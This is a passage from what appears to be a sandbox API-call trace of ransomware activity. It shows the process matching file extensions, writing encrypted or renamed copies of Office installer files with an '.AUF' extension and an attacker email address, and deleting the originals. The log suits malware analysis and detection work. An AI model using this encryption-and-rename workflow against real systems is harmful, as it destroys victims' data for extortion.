Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\DW20.EXE") returned 71 [0213.012] lstrlenW (lpString=".doc") returned 4 [0213.012] lstrcmpiW (lpString1=".doc", lpString2=".EXE") returned -1 [0213.012] lstrlenW (lpString=".docx") returned 5 [0213.012] lstrcmpiW (lpString1=".docx", lpString2="0.EXE") returned -1 [0213.012] lstrlenW (lpString=".pdf") returned 4 [0213.012] lstrcmpiW (lpString1=".pdf", lpString2=".EXE") returned 1 [0213.012] lstrlenW (lpString=".xls") returned 4 [0213.012] lstrcmpiW (lpString1=".xls", lpString2=".EXE") returned 1 [0213.012] lstrlenW (lpString=".xlsx") returned 5 [0213.012] lstrcmpiW (lpString1=".xlsx", lpString2="0.EXE") returned -1 [0213.012] lstrlenW (lpString=".ppt") returned 4 [0213.012] lstrcmpiW (lpString1=".ppt", lpString2=".EXE") returned 1 [0213.012] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\DW20.EXE") returned 71 [0213.012] lstrlenW (lpString=".zip") returned 4 [0213.012] lstrcmpiW (lpString1=".zip", lpString2=".EXE") returned 1 [0213.012] lstrlenW (lpString=".rar") returned 4 [0213.012] lstrcmpiW (lpString1=".rar", lpString2=".EXE") returned 1 [0213.012] lstrlenW (lpString=".bz2") returned 4 [0213.012] lstrcmpiW (lpString1=".bz2", lpString2=".EXE") returned -1 [0213.012] lstrlenW (lpString=".7z") returned 3 [0213.012] lstrcmpiW (lpString1=".7z", lpString2="EXE") returned -1 [0213.012] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\DW20.EXE") returned 71 [0213.012] lstrlenW (lpString=".dbf") returned 4 [0213.012] lstrcmpiW (lpString1=".dbf", lpString2=".EXE") returned -1 [0213.012] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\DW20.EXE") returned 71 [0213.012] lstrlenW (lpString=".1cd") returned 4 [0213.012] lstrcmpiW (lpString1=".1cd", lpString2=".EXE") returned -1 [0213.012] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\DW20.EXE") returned 71 [0213.012] lstrlenW (lpString=".jpg") returned 4 [0213.012] lstrcmpiW (lpString1=".jpg", lpString2=".EXE") returned 1 [0213.012] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\DW20.EXE") returned 71 [0213.012] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\DW20.EXE") returned 71 [0213.012] lstrlenW (lpString=".doc") returned 4 [0213.012] lstrcmpiW (lpString1=".doc", lpString2=".EXE") returned -1 [0213.013] lstrlenW (lpString=".docx") returned 5 [0213.013] lstrcmpiW (lpString1=".docx", lpString2="0.EXE") returned -1 [0213.013] lstrlenW (lpString=".pdf") returned 4 [0213.013] lstrcmpiW (lpString1=".pdf", lpString2=".EXE") returned 1 [0213.013] lstrlenW (lpString=".xls") returned 4 [0213.013] lstrcmpiW (lpString1=".xls", lpString2=".EXE") returned 1 [0213.013] lstrlenW (lpString=".xlsx") returned 5 [0213.013] lstrcmpiW (lpString1=".xlsx", lpString2="0.EXE") returned -1 [0213.013] lstrlenW (lpString=".ppt") returned 4 [0213.013] lstrcmpiW (lpString1=".ppt", lpString2=".EXE") returned 1 [0213.013] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\DW20.EXE") returned 71 [0213.013] lstrlenW (lpString=".zip") returned 4 [0213.013] lstrcmpiW (lpString1=".zip", lpString2=".EXE") returned 1 [0213.013] lstrlenW (lpString=".rar") returned 4 [0213.013] lstrcmpiW (lpString1=".rar", lpString2=".EXE") returned 1 [0213.013] lstrlenW (lpString=".bz2") returned 4 [0213.013] lstrcmpiW (lpString1=".bz2", lpString2=".EXE") returned -1 [0213.013] lstrlenW (lpString=".7z") returned 3 [0213.013] lstrcmpiW (lpString1=".7z", lpString2="EXE") returned -1 [0213.013] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\DW20.EXE") returned 71 [0213.013] lstrlenW (lpString=".dbf") returned 4 [0213.013] lstrcmpiW (lpString1=".dbf", lpString2=".EXE") returned -1 [0213.013] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\DW20.EXE") returned 71 [0213.013] lstrlenW (lpString=".1cd") returned 4 [0213.013] lstrcmpiW (lpString1=".1cd", lpString2=".EXE") returned -1 [0213.013] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\DW20.EXE") returned 71 [0213.013] lstrlenW (lpString=".jpg") returned 4 [0213.013] lstrcmpiW (lpString1=".jpg", lpString2=".EXE") returned 1 [0213.013] lstrcmpiW (lpString1=".msi", lpString2=".AUF") returned 1 [0213.013] lstrlenW (lpString="OfficeMUISet.msi") returned 16 [0213.013] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.msi" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officemuiset.msi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x168 [0213.013] GetFileSizeEx (in: hFile=0x168, lpFileSize=0x335ff1c | out: lpFileSize=0x335ff1c*=868864) returned 1 [0213.013] CloseHandle (hObject=0x168) returned 1 [0213.013] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.msi" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officemuiset.msi")) returned 0x2020 [0213.014] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.msi.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officemuiset.msi.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0213.014] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.msi" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officemuiset.msi"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x168 [0213.014] SetFilePointerEx (in: hFile=0x168, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec8 | out: lpNewFilePointer=0x0) returned 1 [0213.014] SetFilePointerEx (in: hFile=0x168, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec8 | out: lpNewFilePointer=0x0) returned 1 [0213.014] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.msi.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officemuiset.msi.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c [0213.014] GetLastError () returned 0x0 [0213.014] ReadFile (in: hFile=0x168, lpBuffer=0x3e50020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x335fed4, lpOverlapped=0x0 | out: lpBuffer=0x3e50020*, lpNumberOfBytesRead=0x335fed4*=0xd4200, lpOverlapped=0x0) returned 1 [0213.040] WriteFile (in: hFile=0x20c, lpBuffer=0x3e50020*, nNumberOfBytesToWrite=0xd4210, lpNumberOfBytesWritten=0x335fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3e50020*, lpNumberOfBytesWritten=0x335fc9c*=0xd4210, lpOverlapped=0x0) returned 1 [0213.158] ReadFile (in: hFile=0x168, lpBuffer=0x3e50020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x335fed4, lpOverlapped=0x0 | out: lpBuffer=0x3e50020*, lpNumberOfBytesRead=0x335fed4*=0x0, lpOverlapped=0x0) returned 1 [0213.158] WriteFile (in: hFile=0x20c, lpBuffer=0x3e50020*, nNumberOfBytesToWrite=0xf4, lpNumberOfBytesWritten=0x335fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3e50020*, lpNumberOfBytesWritten=0x335fc9c*=0xf4, lpOverlapped=0x0) returned 1 [0213.158] SetEndOfFile (hFile=0x20c) returned 1 [0213.158] CloseHandle (hObject=0x20c) returned 1 [0213.158] SetFilePointerEx (in: hFile=0x168, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec8 | out: lpNewFilePointer=0x0) returned 1 [0213.158] SetEndOfFile (hFile=0x168) returned 1 [0213.165] CloseHandle (hObject=0x168) returned 1 [0213.165] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.msi.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x2020) returned 1 [0213.165] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.msi" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officemuiset.msi")) returned 1 [0213.165] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.msi") returned 79 [0213.165] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.msi") returned 79 [0213.165] lstrlenW (lpString=".doc") returned 4 [0213.165] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0213.165] lstrlenW (lpString=".docx") returned 5 [0213.165] lstrcmpiW (lpString1=".docx", lpString2="t.msi") returned -1 [0213.165] lstrlenW (lpString=".pdf") returned 4 [0213.165] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0213.165] lstrlenW (lpString=".xls") returned 4 [0213.165] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0213.165] lstrlenW (lpString=".xlsx") returned 5 [0213.165] lstrcmpiW (lpString1=".xlsx", lpString2="t.msi") returned -1 [0213.165] lstrlenW (lpString=".ppt") returned 4 [0213.165] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0213.165] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.msi") returned 79 [0213.165] lstrlenW (lpString=".zip") returned 4 [0213.165] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0213.165] lstrlenW (lpString=".rar") returned 4 [0213.166] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0213.166] lstrlenW (lpString=".bz2") returned 4 [0213.166] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0213.166] lstrlenW (lpString=".7z") returned 3 [0213.166] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0213.166] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.msi") returned 79 [0213.166] lstrlenW (lpString=".dbf") returned 4 [0213.166] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0213.166] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.msi") returned 79 [0213.166] lstrlenW (lpString=".1cd") returned 4 [0213.166] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0213.166] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.msi") returned 79 [0213.166] lstrlenW (lpString=".jpg") returned 4 [0213.166] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0213.166] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.msi") returned 79 [0213.166] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.msi") returned 79 [0213.166] lstrlenW (lpString=".doc") returned 4 [0213.166] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0213.166] lstrlenW (lpString=".docx") returned 5 [0213.166] lstrcmpiW (lpString1=".docx", lpString2="t.msi") returned -1 [0213.166] lstrlenW (lpString=".pdf") returned 4 [0213.166] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0213.166] lstrlenW (lpString=".xls") returned 4 [0213.166] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0213.166] lstrlenW (lpString=".xlsx") returned 5 [0213.166] lstrcmpiW (lpString1=".xlsx", lpString2="t.msi") returned -1 [0213.166] lstrlenW (lpString=".ppt") returned 4 [0213.166] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0213.166] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.msi") returned 79 [0213.166] lstrlenW (lpString=".zip") returned 4 [0213.166] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0213.166] lstrlenW (lpString=".rar") returned 4 [0213.166] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0213.166] lstrlenW (lpString=".bz2") returned 4 [0213.166] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0213.166] lstrlenW (lpString=".7z") returned 3 [0213.166] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0213.166] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.msi") returned 79 [0213.166] lstrlenW (lpString=".dbf") returned 4 [0213.166] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0213.166] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.msi") returned 79 [0213.166] lstrlenW (lpString=".1cd") returned 4 [0213.167] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0213.167] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.msi") returned 79 [0213.167] lstrlenW (lpString=".jpg") returned 4 [0213.167] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0213.167] lstrcmpiW (lpString1=".msi", lpString2=".AUF") returned 1 [0213.167] lstrlenW (lpString="AccessMUI.msi") returned 13 [0213.167] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\access.en-us\\accessmui.msi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x21c [0213.478] GetFileSizeEx (in: hFile=0x21c, lpFileSize=0x335ff1c | out: lpFileSize=0x335ff1c*=2517504) returned 1 [0213.479] CloseHandle (hObject=0x21c) returned 1 [0213.501] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\access.en-us\\accessmui.msi")) returned 0x2020 [0213.501] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.msi.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\access.en-us\\accessmui.msi.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0213.501] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\access.en-us\\accessmui.msi"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.msi.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\access.en-us\\accessmui.msi.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 1 [0213.501] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.msi.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\access.en-us\\accessmui.msi.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x21c [0213.501] SetFilePointerEx (in: hFile=0x21c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fc6c | out: lpNewFilePointer=0x0) returned 1 [0213.502] SetFilePointerEx (in: hFile=0x21c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fc2c | out: lpNewFilePointer=0x0) returned 1 [0213.502] ReadFile (in: hFile=0x21c, lpBuffer=0x3e50058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x335fc38, lpOverlapped=0x0 | out: lpBuffer=0x3e50058*, lpNumberOfBytesRead=0x335fc38*=0x40000, lpOverlapped=0x0) returned 1 [0213.597] SetFilePointerEx (in: hFile=0x21c, liDistanceToMove=0xcce00, lpNewFilePointer=0x0, dwMoveMethod=0x335fc2c | out: lpNewFilePointer=0x0) returned 1 [0213.597] ReadFile (in: hFile=0x21c, lpBuffer=0x3e90058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x335fc38, lpOverlapped=0x0 | out: lpBuffer=0x3e90058*, lpNumberOfBytesRead=0x335fc38*=0x40000, lpOverlapped=0x0) returned 1 [0213.624] SetFilePointerEx (in: hFile=0x21c, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x335fc6c | out: lpNewFilePointer=0xffffffff) returned 1 [0213.624] SetFilePointerEx (in: hFile=0x21c, liDistanceToMove=0x226a00, lpNewFilePointer=0x0, dwMoveMethod=0x335fc2c | out: lpNewFilePointer=0x0) returned 1 [0213.624] ReadFile (in: hFile=0x21c, lpBuffer=0x3ed0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x335fc38, lpOverlapped=0x0 | out: lpBuffer=0x3ed0058*, lpNumberOfBytesRead=0x335fc38*=0x40000, lpOverlapped=0x0) returned 1 [0213.695] SetFilePointerEx (in: hFile=0x21c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec8 | out: lpNewFilePointer=0x0) returned 1 [0213.696] WriteFile (in: hFile=0x21c, lpBuffer=0x3e50020*, nNumberOfBytesToWrite=0xc0106, lpNumberOfBytesWritten=0x335fcb0, lpOverlapped=0x0 | out: lpBuffer=0x3e50020*, lpNumberOfBytesWritten=0x335fcb0*=0xc0106, lpOverlapped=0x0) returned 1 [0213.711] SetEndOfFile (hFile=0x21c) returned 1 [0213.833] SetFilePointerEx (in: hFile=0x21c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fc7c | out: lpNewFilePointer=0x0) returned 1 [0213.833] WriteFile (in: hFile=0x21c, lpBuffer=0x4049098*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x335fc88, lpOverlapped=0x0 | out: lpBuffer=0x4049098*, lpNumberOfBytesWritten=0x335fc88*=0x40000, lpOverlapped=0x0) returned 1 [0213.834] SetFilePointerEx (in: hFile=0x21c, liDistanceToMove=0xcce00, lpNewFilePointer=0x0, dwMoveMethod=0x335fc7c | out: lpNewFilePointer=0x0) returned 1 [0213.834] WriteFile (in: hFile=0x21c, lpBuffer=0x4049098*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x335fc88, lpOverlapped=0x0 | out: lpBuffer=0x4049098*, lpNumberOfBytesWritten=0x335fc88*=0x40000, lpOverlapped=0x0) returned 1 [0213.839] SetFilePointerEx (in: hFile=0x21c, liDistanceToMove=0x226a00, lpNewFilePointer=0x0, dwMoveMethod=0x335fc7c | out: lpNewFilePointer=0x0) returned 1 [0213.839] WriteFile (in: hFile=0x21c, lpBuffer=0x4049098*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x335fc88, lpOverlapped=0x0 | out: lpBuffer=0x4049098*, lpNumberOfBytesWritten=0x335fc88*=0x40000, lpOverlapped=0x0) returned 1 [0213.860] CloseHandle (hObject=0x21c) returned 1 [0213.860] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.msi.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x2020) returned 1 [0213.860] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.msi") returned 89 [0213.860] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.msi") returned 89 [0213.860] lstrlenW (lpString=".doc") returned 4 [0213.860] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0213.861] lstrlenW (lpString=".docx") returned 5 [0213.861] lstrcmpiW (lpString1=".docx", lpString2="I.msi") returned -1 [0213.861] lstrlenW (lpString=".pdf") returned 4 [0213.861] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0213.861] lstrlenW (lpString=".xls") returned 4 [0213.861] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0213.861] lstrlenW (lpString=".xlsx") returned 5 [0213.861] lstrcmpiW (lpString1=".xlsx", lpString2="I.msi") returned -1 [0213.861] lstrlenW (lpString=".ppt") returned 4 [0213.861] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0213.861] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.msi") returned 89 [0213.861] lstrlenW (lpString=".zip") returned 4 [0213.861] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0213.861] lstrlenW (lpString=".rar") returned 4 [0213.861] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0213.861] lstrlenW (lpString=".bz2") returned 4 [0213.861] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0213.861] lstrlenW (lpString=".7z") returned 3 [0213.861] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0213.861] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.msi") returned 89 [0213.861] lstrlenW (lpString=".dbf") returned 4 [0213.861] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0213.861] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.msi") returned 89 [0213.861] lstrlenW (lpString=".1cd") returned 4 [0213.861] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0213.861] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.msi") returned 89 [0213.861] lstrlenW (lpString=".jpg") returned 4 [0213.861] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0213.861] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.msi") returned 89 [0213.861] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.msi") returned 89 [0213.861] lstrlenW (lpString=".doc") returned 4 [0213.861] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0213.861] lstrlenW (lpString=".docx") returned 5 [0213.861] lstrcmpiW (lpString1=".docx", lpString2="I.msi") returned -1 [0213.861] lstrlenW (lpString=".pdf") returned 4 [0213.861] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0213.861] lstrlenW (lpString=".xls") returned 4 [0213.861] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0213.861] lstrlenW (lpString=".xlsx") returned 5 [0213.861] lstrcmpiW (lpString1=".xlsx", lpString2="I.msi") returned -1 [0213.861] lstrlenW (lpString=".ppt") returned 4 [0213.862] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0213.862] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.msi") returned 89 [0213.862] lstrlenW (lpString=".zip") returned 4 [0213.862] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0213.862] lstrlenW (lpString=".rar") returned 4 [0213.862] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0213.862] lstrlenW (lpString=".bz2") returned 4 [0213.862] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0213.862] lstrlenW (lpString=".7z") returned 3 [0213.862] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0213.862] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.msi") returned 89 [0213.862] lstrlenW (lpString=".dbf") returned 4 [0213.862] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0213.862] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.msi") returned 89 [0213.862] lstrlenW (lpString=".1cd") returned 4 [0213.862] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0213.862] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.msi") returned 89 [0213.862] lstrlenW (lpString=".jpg") returned 4 [0213.862] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0213.862] lstrcmpiW (lpString1=".msi", lpString2=".AUF") returned 1 [0213.862] lstrlenW (lpString="ProPlusrWW.msi") returned 14 [0213.862] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.msi" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\proplusrww.msi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x21c [0213.862] GetFileSizeEx (in: hFile=0x21c, lpFileSize=0x335ff1c | out: lpFileSize=0x335ff1c*=27532288) returned 1 [0213.862] CloseHandle (hObject=0x21c) returned 1 [0213.862] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.msi" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\proplusrww.msi")) returned 0x2020 [0213.862] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.msi.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\proplusrww.msi.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0213.863] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.msi" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\proplusrww.msi"), lpNewFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.msi.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\proplusrww.msi.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 1 [0213.863] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.msi.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\proplusrww.msi.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0xc0000000, 